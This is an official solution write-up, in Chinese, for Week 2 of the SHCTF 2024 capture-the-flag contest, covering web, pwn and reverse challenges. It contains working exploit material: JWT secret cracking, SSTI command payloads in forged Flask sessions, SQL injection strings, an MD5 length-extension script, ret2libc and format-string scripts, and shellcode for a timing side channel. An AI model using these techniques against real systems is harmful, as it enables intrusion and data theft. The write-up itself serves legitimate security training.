SHCTF-2024-Week2 官方WP

Web

登录验证

❝

他们都说jwt不安全，那我拿个密钥加密不就行了，你又不知道密钥是多少。什么? 你说可以爆破出来? 666666!

❞

密码不是admin会回显错误密码,账号不是admin会回显”你不是admin”

都是admin后回显”你不是真正的admin”,此时抓包可以看到cookie处有token token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mjg4Mzg3MzIsImlhdCI6MTcyODgzMTUzMiwibmJmIjoxNzI4ODMxNTMyLCJyb2xlIjoidXNlciJ9.VGA6D757VurbD0RD4CS16PZOQ6jYfVowaAVT87h3NCY

https://jwt.io/

能看到role处是user,根据题目描述基本可以知道改为admin即可成为”真正的admin”

但这个token的加密是有密钥的,根据题目描述”666666″得知要爆破6位,优先考虑弱口令

https://github.com/lmammino/jwt-cracker

这里用jwt-cracker演示爆破过程

得到密码222333后回在线jwt改role为admin后再放到token里发包即可得到flag

欢迎登录admin!这里是你的flag: SHCTF{y0u_v3r1F1ed_Y0U_aRe_yOU_xxxxxxxxxxxx}

dickle

在反序列化过程中，如果 pickle 模块遇到一个表示类的标记，它会调用 find_class 方法来查找和创建相应的类实例。

find_class 方法将识别到的 module 和 name 取决于 reduce 方法返回的内容。

module是类的模块名，例如 “os“。name是类名，例如 “system“

黑名单中有os.system

本地运行加一个打印出find_class的结果

在反序列化过程中， pickle 使用 find_class 方法来定位和导入必要的类或函数。由于 pickle 记录的是 posix.system，因此 find_class 会从 posix 模块中导入 system 函数，而不是从 os 模块中导入。

所以可以用os.system

反弹shell即可

guess_the_number

查看网页源码，发现/s0urce，访问获得题目源码

import flask
import random
from flask import Flask, request, render_template, send_file

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html', first_num = first_num)  

@app.route('/source')
def get_source():
    file_path = "app.py"
    return send_file(file_path, as_attachment=True)
    
@app.route('/first')
def get_first_number():
    return str(first_num)
    
@app.route('/guess')
def verify_seed():
    num = request.args.get('num')
    if num == str(second_num):
        with open("/flag", "r") as file:
            return file.read()
    return "nonono"
 
def init():
    global seed, first_num, second_num
    seed = random.randint(1000000,9999999)
    random.seed(seed)
    first_num = random.randint(1000000000,9999999999)
    second_num = random.randint(1000000000,9999999999)

init()
app.run(debug=True)

可以看到，题目给出了由random模块生成的第一个数，求出第二个数即可获得flag

random伪随机数生成的数，是由seed进行数学运算得到的，题目设置了伪随机数的seed，且长度不大，因此只需要爆破出seed即可预测下一个数

import random

first_num = int(input(""))
for i in range(1000000,9999999,1):
    random.seed(i)
    num = random.randint(1000000000,9999999999)
    if num == first_num:
        second_num = random.randint(1000000000,9999999999)
        print("second_num: " + str(second_num))
        exit()

MD5 GOD!

应该不会有人手动拓展hash吧

考点：代码审计，hash长度拓展攻击，session伪造

先是代码审计

根据源码可以知道，64个用户签到成功后即可得到flag

访问 /users 路由可以得到用户签到的状态

/login 路由可以登陆

/ 路由是签到的

/flag 能得到flag

观察签到逻辑和验证函数

def check_sign(sign, username, msg, salt):
    if sign == md5(salt + msg + username):
        return True
    return False

@app.route("/")
def index():
    if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
        return redirect("/login")
    sign = session.get('sign')
    username = session.get('username')
    msg = session.get('msg')
    if check_sign(sign, username, msg, salt):
        sign_users[username.decode()] = 1
        return "签到成功"
    return redirect("/login")

可以知道，只要session里的 sign 和最终 md5(salt + msg + username) 相等即可签到成功

这里的salt是未知的，但最初的账号 student 的所有信息是已知的，可以用这个账号的相关信息来做hash长度拓展攻击

hash长度拓展攻击的代码可以去网上找现成的

接着是session伪造，SECRET_KEY 已经给出是 Th1s_is_5ecr3t_k3y，写脚本的时候可以参考 flask_session_cookie_manager3.py里的代码

exp

import hashlib
import math
from typing import Any, Dict, List

rotate_amounts = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
                  5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
                  4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
                  6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]

constants = [int(abs(math.sin(i + 1)) * 2 ** 32) & 0xFFFFFFFF for i in range(64)]

functions = 16 * [lambda b, c, d: (b & c) | (~b & d)] + 
            16 * [lambda b, c, d: (d & b) | (~d & c)] + 
            16 * [lambda b, c, d: b ^ c ^ d] + 
            16 * [lambda b, c, d: c ^ (b | ~d)]

index_functions = 16 * [lambda i: i] + 
                  16 * [lambda i: (5 * i + 1) % 16] + 
                  16 * [lambda i: (3 * i + 5) % 16] + 
                  16 * [lambda i: (7 * i) % 16]


def get_init_values(A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> List[int]:
    return [A, B, C, D]


def left_rotate(x, amount):
    x &= 0xFFFFFFFF
    return ((x << amount) | (x >> (32 - amount))) & 0xFFFFFFFF


def padding_message(msg: bytes) -> bytes:
    """
    在MD5算法中，首先需要对输入信息进行填充，使其位长对512求余的结果等于448，并且填充必须进行，即使其位长对512求余的结果等于448。
    因此，信息的位长（Bits Length）将被扩展至N*512+448，N为一个非负整数，N可以是零。
    填充的方法如下：
        1) 在信息的后面填充一个1和无数个0，直到满足上面的条件时才停止用0对信息的填充。
        2) 在这个结果后面附加一个以64位二进制表示的填充前信息长度（单位为Bit），如果二进制表示的填充前信息长度超过64位，则取低64位。
    经过这两步的处理，信息的位长=N*512+448+64=(N+1）*512，即长度恰好是512的整数倍。这样做的原因是为满足后面处理中对信息长度的要求。
    """
    orig_len_in_bits = (8 * len(msg)) & 0xffffffffffffffff
    msg += bytes([0x80])
    while len(msg) % 64 != 56:
        msg += bytes([0x00])
    msg += orig_len_in_bits.to_bytes(8, byteorder='little')
    return msg


def md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> int:
    message = padding_message(message)
    hash_pieces = get_init_values(A, B, C, D)[:]
    for chunk_ofst in range(0, len(message), 64):
        a, b, c, d = hash_pieces
        chunk = message[chunk_ofst:chunk_ofst + 64]
        for i in range(64):
            f = functions[i](b, c, d)
            g = index_functions[i](i)
            to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
            new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
            a, b, c, d = d, new_b, b, c
        for i, val in enumerate([a, b, c, d]):
            hash_pieces[i] += val
            hash_pieces[i] &= 0xFFFFFFFF

    return sum(x << (32 * i) for i, x in enumerate(hash_pieces))


def md5_to_hex(digest: int) -> str:
    raw = digest.to_bytes(16, byteorder='little')
    return '{:032x}'.format(int.from_bytes(raw, byteorder='big'))


def get_md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> str:
    return md5_to_hex(md5(message, A, B, C, D))


def md5_attack(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe,
               D: int = 0x10325476) -> int:
    hash_pieces = get_init_values(A, B, C, D)[:]
    for chunk_ofst in range(0, len(message), 64):
        a, b, c, d = hash_pieces
        chunk = message[chunk_ofst:chunk_ofst + 64]
        for i in range(64):
            f = functions[i](b, c, d)
            g = index_functions[i](i)
            to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
            new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
            a, b, c, d = d, new_b, b, c
        for i, val in enumerate([a, b, c, d]):
            hash_pieces[i] += val
            hash_pieces[i] &= 0xFFFFFFFF

    return sum(x << (32 * i) for i, x in enumerate(hash_pieces))


def get_init_values_from_hash_str(real_hash: str) -> List[int]:
    """

    Args:
        real_hash: 真实的hash结算结果

    Returns: 哈希初始化值[A, B, C, D]

    """
    str_list: List[str] = [real_hash[i * 8:(i + 1) * 8] for i in range(4)]
    # 先按照小端字节序将十六进制字符串转换成整数，然后按照大端字节序重新读取这个数字
    return [int.from_bytes(int('0x' + s, 16).to_bytes(4, byteorder='little'), byteorder='big') for s in str_list]


def get_md5_attack_materials(origin_msg: bytes, key_len: int, real_hash: str, append_data: bytes) -> Dict[str, Any]:
    """

    Args:
        origin_msg: 原始的消息字节流
        key_len: 原始密钥（盐）的长度
        real_hash: 计算出的真实的hash值
        append_data: 需要添加的攻击数据

    Returns: 发起攻击需要的物料信息
        {
            'attack_fake_msg': bytes([...]),
            'attack_hash_value': str(a1b2c3d4...)
        }

    """
    init_values = get_init_values_from_hash_str(real_hash)
    # print(['{:08x}'.format(x) for x in init_values])
    # 只知道key的长度，不知道key的具体内容时，任意填充key的内容
    fake_key: bytes = bytes([0xff for _ in range(key_len)])
    # 计算出加了append_data后的真实填充数据
    finally_padded_attack_data = padding_message(padding_message(fake_key + origin_msg) + append_data)
    # 攻击者提前计算添加了攻击数据的哈希
    attack_hash_value = md5_to_hex(md5_attack(finally_padded_attack_data[len(padding_message(fake_key + origin_msg)):],
                                              A=init_values[0],
                                              B=init_values[1],
                                              C=init_values[2],
                                              D=init_values[3]))
    fake_padding_data = padding_message(fake_key + origin_msg)[len(fake_key + origin_msg):]
    attack_fake_msg = origin_msg + fake_padding_data + append_data
    return {'attack_fake_msg': attack_fake_msg, 'attack_hash_value': attack_hash_value}



from flask.sessions import SecureCookieSessionInterface
import requests, json, time

class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


def session_decode(session_cookie_value, secret_key):
    """ Decode a Flask cookie  """
    app = MockApp(secret_key)
    si = SecureCookieSessionInterface()
    s = si.get_signing_serializer(app)
    return s.loads(session_cookie_value)


def session_encode(session_cookie_structure, secret_key):
    """ Encode a Flask session cookie """
    try:
        app = MockApp(secret_key)
        # session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
        si = SecureCookieSessionInterface()
        s = si.get_signing_serializer(app)
        return s.dumps(session_cookie_structure)
    except Exception as e:
        return "[Encoding error] {}".format(e)


def req_index(url, cookie):
    # headers = {"Cookie": "session=" + cookie}
    cookies = {"session":cookie}
    r = requests.get(url, cookies=cookies).text
    # print(r)
    if '签到成功' not in r:
        # print(cookie)
        time.sleep(1)
        req_index(url, cookie)
        # print(r)

def req_user(url):
    return json.loads(requests.get(url).text)

def req_login(url):
    data = {"username":"student", "password":"student"}
    cookie = requests.post(url, data).headers["Set-Cookie"][8:].split(';')[0]
    # print(cookie)
    return cookie

def hash_Attack(md5_value, key_len, data, attack_data):
    attack_materials = get_md5_attack_materials(data, key_len, md5_value.decode(), attack_data)
    # print(data)
    res = {"username":attack_data, "msg":attack_materials['attack_fake_msg'][:-len(attack_data)], "sign":attack_materials['attack_hash_value'].encode()}
    return res


if __name__ == '__main__':
    url = "http://210.44.150.15:49982/"
    cookie = req_login(url+'login')
    users = req_user(url+'users')
    secret_key = "Th1s_is_5ecr3t_k3y"
    res = session_decode(cookie, secret_key)
    for user in users:
        if users[user] == 0:
            res = hash_Attack(res["sign"], 16, res["msg"]+res["username"], user.encode())
            res2 = session_encode(res, secret_key)
            # time.sleep(1)
            r = req_index(url, res2)

跑完这个脚本后，访问 /flag 即可得到flag

入侵者禁入

https://github.com/noraj/flask-session-cookie-manager

session伪造

D:toolsexploitpythonflask-session-cookie-manager>python flask_session_cookie_manager3.py decode -c "eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZvZ8IQ.B9Q1a7gFQvzs4Q3bGldXuiGHULg" -s "0day_joker"
D:toolsexploitpythonflask-session-cookie-manager>python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls").read()}}', 'is_admin': 1}}"
D:toolsexploitpythonflask-session-cookie-manager>python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls /").read()}}', 'is_admin': 1}}"
D:toolsexploitpythonflask-session-cookie-manager>python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("cat /flag").read()}}', 'is_admin': 1}}"

自助查询

题目提供了查询语句

SELECT username,password FROM users WHERE id = ("

使用”)闭合即可进行正常sql注入

-1") union select 1,scretdata from ctf.flag

查询「columns即可」

Payload

-1") union select 1,column_comment from information_schema.columns

Pwn

ezorw

程序未开启canary并存在溢出，但是开启了pie保护

思路:利用fd=0和close(fd)来关闭标准输入流，然后使程序返回main中执行open打开flag，通过read和puts将flag读出并打印

from pwn import *
context.log_level = 'debug'

p = process('./pwn')

open_addr = 0x97
vuln_addr = 0xBB

p.recvuntil('giftn')

payload = b'a' * (0x10 + 8) + p8(vuln_addr)
p.send(payload)
p.recvline()

payload = b'a' * (0x10 + 8) + p8(open_addr)
p.send(payload)
p.recvline()

p.interactive()

ez_competition

这题考验的知识点是条件竞争，不同进程或者线程竞争同一个资源导致的漏洞。

当程序接收到远程连接时，会自动fork一个子进程执行handle函数，这里是允许多个子进程同时存在的。

handler函数可以往共享空间中写入一个任意指针，并会判断是否和flag指针一致，不一致就会进行flag的比较，比较成功就输出flag。

乍一看不存在什么漏洞，但是我们要知道这里的操作都是基于*buf的，这就意味着指针比较，以及字符串比较都会进行解引用操作来得到地址。

因为这里是通过共享空间进行操作，子进程可以对共享空间同时进行操作，而两次解引用之间存在2s的时间差，这就导致我们可以先随便输入一个地址，然后经过一层比较，再在2s内创建另一个子进程偷梁换柱，修改存放的指针为flag指针，即可绕过检查得到flag。

from pwn import *
p1 = remote('ip',port)
p2 = remote('ip',port)
p1.send(p64(0x404121))
time.sleep(1)
p2.send(p64(0x404120))
p2.close()
p1.interactive()

ez_sandbox

这题考验的知识点是侧信道攻击，通过时间差比较的方式在没有输出的情况下推测出数据内容。

题目内容很简单，设置了一个只允许read、open系统调用的沙盒。

然后就是任意shellcode执行。

题目只允许使用read和open系统调用，这意味着我们可以读取flag到程序中，但却没法进行输出。

好在我们可以自己构造shellcode，因此我们可以在程序内部进行字符串的比较。

shellcode我们可以进行如下构造：

        push 0x67616c66//压入flag文件名到栈中
        mov rdi,rsp
        xor rsi,rsi
        xor rdx,rdx
        mov rax,2
        syscall//open打开文件
        mov rdi,3
        mov rsi,rsp
        mov rdx,0x100
        mov rax,0
        syscall//读取flag文件内容到栈中
        //开始字符串的比较
        cmpb [rsp+{i}],{j}
        jz Loop//若字符串的第i个字符为j就跳转到Loop
        ret//否则直接退出
        Loop:
        mov rdi,0
        mov rsi,rsp
        mov rdx,0x10
        mov rax,0
        syscall//Loop会调用read读取用户输入

通过以上的shellcode构造，我们每次可以比较一个字符，如果字符正确就会调用read卡住，而不正确就会直接退出。通过时间差的比较，长时间没有断开连接报错eof就代表进入了read调用，也就代表字符正确，反之代表错误。

最终exp：

from pwn import *
from tqdm import tqdm

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'critical'
# p = gdb.debug('./main','b main')
flag = ''
ctable = [x for x in range(ord('0'),ord('9')+1)]+[ord('-'),ord('{'),ord('}')]+[x for x in range(ord('a'),ord('z')+1)]
for i in range(0,0x30):
    for j in tqdm(ctable):
        p = remote('ip',port)
        assembly = f'''
        push 0x67616c66
        mov rdi,rsp
        xor rsi,rsi
        xor rdx,rdx
        mov rax,2
        syscall
        mov rdi,3
        mov rsi,rsp
        mov rdx,0x100
        mov rax,0
        syscall
        cmpb [rsp+{i}],{j}
        jz Loop
        ret
        Loop:
        mov rdi,0
        mov rsi,rsp
        mov rdx,0x10
        mov rax,0
        syscall
        ret
        '''
        shellcode = asm(assembly)
        p.send(shellcode)
        try:
            #如果在timeout时间内报错eof就会直接进入except，相反代表字符正确，会继续执行flag+=chr(j)
            p.recv(10,timeout=2)#根据环境的差异可以调节timeout时长
            p.close()
            flag += chr(j)
            break
        except:
            p.close()
    print(flag)

json_stackoverflow

一个简单的32位栈溢出套了个json的解析

from pwn import *
from ctypes import *
from struct import pack
banary = "./pwn"
elf = ELF(banary)
libc = ELF("./libc.so.6")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
ip = ''
port = 0
local = 1
if local:
    io = process(banary)
else:
    io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
    gdb.attach(io)
    pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"xf7")[-4:].ljust(4, b'x00'))
uu64 = lambda : u64(io.recvuntil(b"x7f")[-6:].ljust(8, b"x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

main=0x08049432
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

payload=b'A'*0x48+b'A'*4+p32(puts_plt)+p32(main)+p32(puts_got)
send_data=b'{"name":"'+payload+b'","age":21}'
ru("How to send data?")
sl(send_data)
ru("age:134549548n")
libcbase=u32(io.recv()[0:4])-libc.sym['puts']
lg("libcbase")
system=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/shx00'))

payload=b'A'*0x48+b'A'*4+p32(system)+p32(0xdeadbeef)+p32(bin_sh)
send_data=b'{"name":"'+payload+b'","age":21}'
sl(send_data)

ia()

json_printf

一个简单的格式化字符串套了个json的解析

from pwn import *
from ctypes import *
from struct import pack
banary = "./pwn"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
ip = ''
port = 0
local = 1
if local:
    io = process(banary)
else:
    io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
    gdb.attach(io)
    pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"xf7")[-4:].ljust(4, b'x00'))
uu64 = lambda : u64(io.recvuntil(b"x7f")[-6:].ljust(8, b"x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

num=0x8052074

payload=b'A%998c%10$hn'+p32(num)
send_data=b'{"name":"'+payload+b'","age":18}'
ru("How to send data?")
sl(send_data)

ia()

Reverse

cancanneed

HOOK check的返回值为1就好了

// 必须写在 Java 虚拟机中 
Java.perform(function() {
    let MainActivity = Java.use("com.example.test.MainActivity");
MainActivity["check"].implementation = function (str) {
    console.log(`MainActivity.check is called: str=${str}`);
    let result = this["check"](str);
    console.log(`MainActivity.check result=${result}`);
    return 1;
};
})

Babytea

明显的tea特征  直接写解密脚本

#include <iostream>
#include <stdint.h>
void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], i; 
    uint32_t delta=0x61C88747;  
    uint32_t sum=0;                 
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<0x40; i++) {                         /* basic cycle start */
        v0 += v1 ^ (k[ (sum & 3)] + sum) ^ (v1 + ((v1 >> 5) ^ ( v1 <<4 )));
        sum -= 0x61C88747;
        v1 += v0 ^ (k [((sum >> 11) & 3)] + sum) ^ (v0 + ((v0 >> 5) ^ (v0<<4)));
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}

int main(){
    uint32_t enc[]={0x18c2e339,0xe9550982,0x108a30f7,0x018430dd,0xd5de57b0,0xd43e0740,0xf42fdde4,0x968886e8,0xe5d77b79,0x685d758f};
    uint32_t key[]={1,1,2,3};
    for (size_t i = 0; i < 10; i+=2)
    {
        decrypt(enc+i,key);
    }
    puts((char*)enc);

}

花语

去花

/*exp 如下*/
#include<iostream>
using namespace std;
int main() {
    char tmp=0;
    char flag[255] = "!}ggagllllff_fau_hisY_keF{CTSH";
    for (int i = 0; i < 14; i++) {
        tmp = flag[29 - i];
        flag[29 - i] = flag[i];
        flag[i] = tmp;
    }
    for (int i = 0; i < 29; i += 2) {
        tmp = flag[i];
        flag[i] = flag[i + 1];
        flag[i + 1] = tmp;
    }
    cout<<flag;
 }
 /*
 SHCTF{keY_is_hua_fffllllaggg!}
 */

Android？Harmony！

❝

我做鸿蒙应用reverse，好吗？

❞

ArkTS是HarmonyOS优选的主力应用开发语言。方舟字节码文件是ArkTS/TS/JS编译后的二进制产物。针对方舟字节码(abc)的反编译，目前已经有一些工具可以使用，例如：

• abcde
• abc-decompiler

将附件修改 ZIP 后缀并解压两次，可以得到 .abc 文件，进而进行反编译。

通过反编译工具，我们可以看到主函数的逻辑如下：

• 将用户输入通过 encode.encode 加密后与 secretKey 进行比较。
• 如果口令错误，显示提示信息并返回。
• 如果口令正确，创建迷宫并将其写入文件。

在常量定义中，可以找到 secretKey 的定义：

obj.secretKey = "[f#fLw)??Pz?#9w)Du[ks[q[#w4D?4P4UJf,kU[f.rDkfwrDtq...)?J.#rP4[qrPDJkkJ|.9J|qffU?k|D4P4P[wkk.)k?JUJ[k#9kww[r??wUfw|PkrPUf.P#f.P#.PwJ4f4q.PU4UPDr9.[9fJ#PqP)cDDffJPDrJ.J4qPP[r[.JfJ4f|?U9#";

查看 encode 函数，发现输入是通过仿射密码进行加密的。直接写出解密代码:

关于仿射密码参照 ctf-wiki : https://ctf-wiki.org/crypto/classical/monoalphabetic/#_15

def decode(ciphertext):

    result = []
    
    for char in ciphertext:
        y = ord(char) - 32
        decrypted_char = ((y - 1919810) * 39) % 95
        x = (decrypted_char + 95) % 95
        result.append(chr(x + 32))
        
    return "".join(result)


ciphertext = "[f#fLw)??Pz?#9w)Du[ks[q[#w4D?4P4UJf,kU[f.rDkfwrDtq...)?J.#rP4[qrPDJkkJ|.9J|qffU?k|D4P4P[wkk.)k?JUJ[k#9kww[r??wUfw|PkrPUf.P#f.P#.PwJ4f4q.PU4UPDr9.[9fJ#PqP)cDDffJPDrJ.J4qPP[r[.JfJ4f|?U9#"

plaintext = decode(ciphertext)

print(plaintext)
# b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc

通过验证后，程序会调用 maze 类的 CreateMaze 函数，并以输入作为参数。

• CreateMaze 函数设置迷宫的起点和终点，并调用 FillF1ag 来填充迷宫。
• FillF1ag 函数遍历maze，并判断当前格是否为空格且 CheckGround 的结果大于2时，使用输入填充迷宫中的空白。
• CheckGround 函数用于检查某个位置的四个方向有几个空地。

整体逻辑就是遍历整个 maze，判断三个方向是否为空，满足条件则填充 flag。

模仿反编译的代码逻辑编写 python 代码填充迷宫，再根据起点和终点直接走一遍迷宫，路径上的值就是最终的 flag 。

import numpy as np
from mazelib.solve.ShortestPaths import ShortestPaths
from mazelib import Maze


def check_ground(grid, x, y):
    directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]
    count = 0
    for dx, dy in directions:
        nx, ny = x + dx, y + dy
        if 0 <= nx < len(grid[0]) and 0 <= ny < len(grid) and grid[ny][nx] == " ":
            count += 1
    return count


def fill_flag(grid, flag):
    flag_index = 0
    for y in range(len(grid)):
        for x in range(len(grid[0])):
            if grid[y][x] == " " and check_ground(grid, x, y) > 2:
                grid[y][x] = flag[flag_index]
                flag_index += 1
    return grid

maze = [['#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#','#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#','#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#','#'],
'''
'''
['#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#','#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#','#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#','#', '#', '#', '#', '#', '#', '#']]


f1ag = "b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc"

# maze[77][1] = "E"
# maze[1][83] = "S"

m = Maze()
m.grid = np.array([[1 if cell == '#' else 0 for cell in row] for row in maze], dtype=np.int8)
m.start = (1, 83)
m.end = (77, 1)
m.solver = ShortestPaths()
m.solve()

maze = fill_flag(maze, f1ag)

for i, j in m.solutions[0]:
    if maze[i][j] != " ":
        print(maze[i][j], end="")
# SHCTF{81f6ad65-9da6-41ae-bd61-88dea61332f1}

Loader

Loader

反编译后可以看到逻辑是native解密assets/enc文件然后进行dex动态加载

public byte[] GetData(Context p0){
       byte[] uobyteArray4;
       int i = this;
       byte[] uobyteArray = new byte[1];
       byte[] uobyteArray1 = uobyteArray;
       uobyteArray1[0] = (byte)1;
       byte[] uobyteArray2 = uobyteArray1;
       Context uContext = p0;
       try{
          byte[] uobyteArray3 = i.copyAssetFile(uContext.getAssets(), "enc");
          if (uobyteArray3 != null && uobyteArray3.length >= 4) {
             uobyteArray2 = i.loadData(uobyteArray3);
          }
          uobyteArray4 = uobyteArray2;
       }catch(java.io.IOException e7){
          e7.printStackTrace();
          uobyteArray4 = uobyteArray2;
       }
       return uobyteArray4;
    }
    
    public void onClick(View p0){
       InMemoryDexClassLoader inMemoryDexC1;
       int i = this;
       byte[] uobyteArray = i.this$0.GetData(i.val$context);
       try{
          byte[] uobyteArray1 = uobyteArray;
          if (Build$VERSION.SDK_INT >= 29) {
             InMemoryDexClassLoader inMemoryDexC = uobyteArray;
             inMemoryDexC1 = inMemoryDexC;
             InMemoryDexClassLoader inMemoryDexC2 = inMemoryDexC;
             ByteBuffer[] uByteBufferA = new ByteBuffer[1];
             ByteBuffer[] uByteBufferA1 = uByteBufferA;
             uByteBufferA = uByteBufferA1;
             uByteBufferA1[0] = ByteBuffer.wrap(uobyteArray1);
             File uFile = v12;
             uFile = new File(i.this$0.getClassLoader().findLibrary("eazyre"));
             inMemoryDexC2 = new InMemoryDexClassLoader(uByteBufferA, uFile.getParent(), i.this$0.getClassLoader().getParent());
          }else {
             inMemoryDexC1 = null;
          }
          Class uClass = inMemoryDexC1.loadClass("com.android.loader.GetFlag");
          String str = "VerifyFlag";
          Class[] uClassArray = new Class[1];
          Class[] uClassArray1 = uClassArray;
          uClassArray = uClassArray1;
          Class[] uClassArray2 = uClassArray1;
          try{
             int i2 = 0;
             Class uClass1 = Class.forName("java.lang.String");
             uClassArray2[i2] = uClass1;
             Object[] objArray = new Object[1];
             Object[] objArray1 = objArray;
             objArray1[0] = i.val$myedit.getText().toString();
             if (uClass.getMethod(str, uClassArray).invoke(null, objArray1).booleanValue()) {
                Toast.makeText(i.val$context, "You Win!!", 1).show();
             }else {
                Toast.makeText(i.val$context, "Wrong! Try again~", 1).show();
             }
             return;
          }catch(java.lang.ClassNotFoundException e9){
             NoClassDefFoundError noClassDefFo = e9;
             noClassDefFo = new NoClassDefFoundError(e9.getMessage());
             throw noClassDefFo;
          }catch(java.lang.IllegalAccessException e9){
          }catch(java.lang.reflect.InvocationTargetException e9){
          }
       label_00ca :
          int i1 = e9;
       }catch(java.lang.ClassNotFoundException e9){
          goto label_00ca ;
       }catch(java.lang.NoSuchMethodException e9){
          goto label_00ca ;
       }catch(java.lang.IllegalAccessException e9){
       }catch(java.lang.reflect.InvocationTargetException e9){
       }
    }

这里我们走捷径，直接内存dump解密后的dex 工具：AGG

「1.点击CHECKFLAG按钮以解密dex到「「内存」」中」

「2.用dex的magic定位解密的文件」

得到

「3.dump」 dex大小为首地址+0x20

1380，和enc文件大小一致。用首地址+大小得到dex尾部后导出内存，得到校验部分的dex

import java.util.Random;

public class GetFlag {
    private static final String CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

    public static void main(String[] args) {
        String result = generateRandomString(4310, 12);
        System.out.println(result);
    }

    public static String generateRandomString(int seed, int length) {
        Random random = new Random(seed);
        StringBuilder sb = new StringBuilder(length);
        for (int i = 0; i < length; i++) {
            sb.append(CHARACTERS.charAt(random.nextInt(CHARACTERS.length())));
        }
        return sb.toString();
    }
}
//SHCTF{QdUOJ7V7Xruo}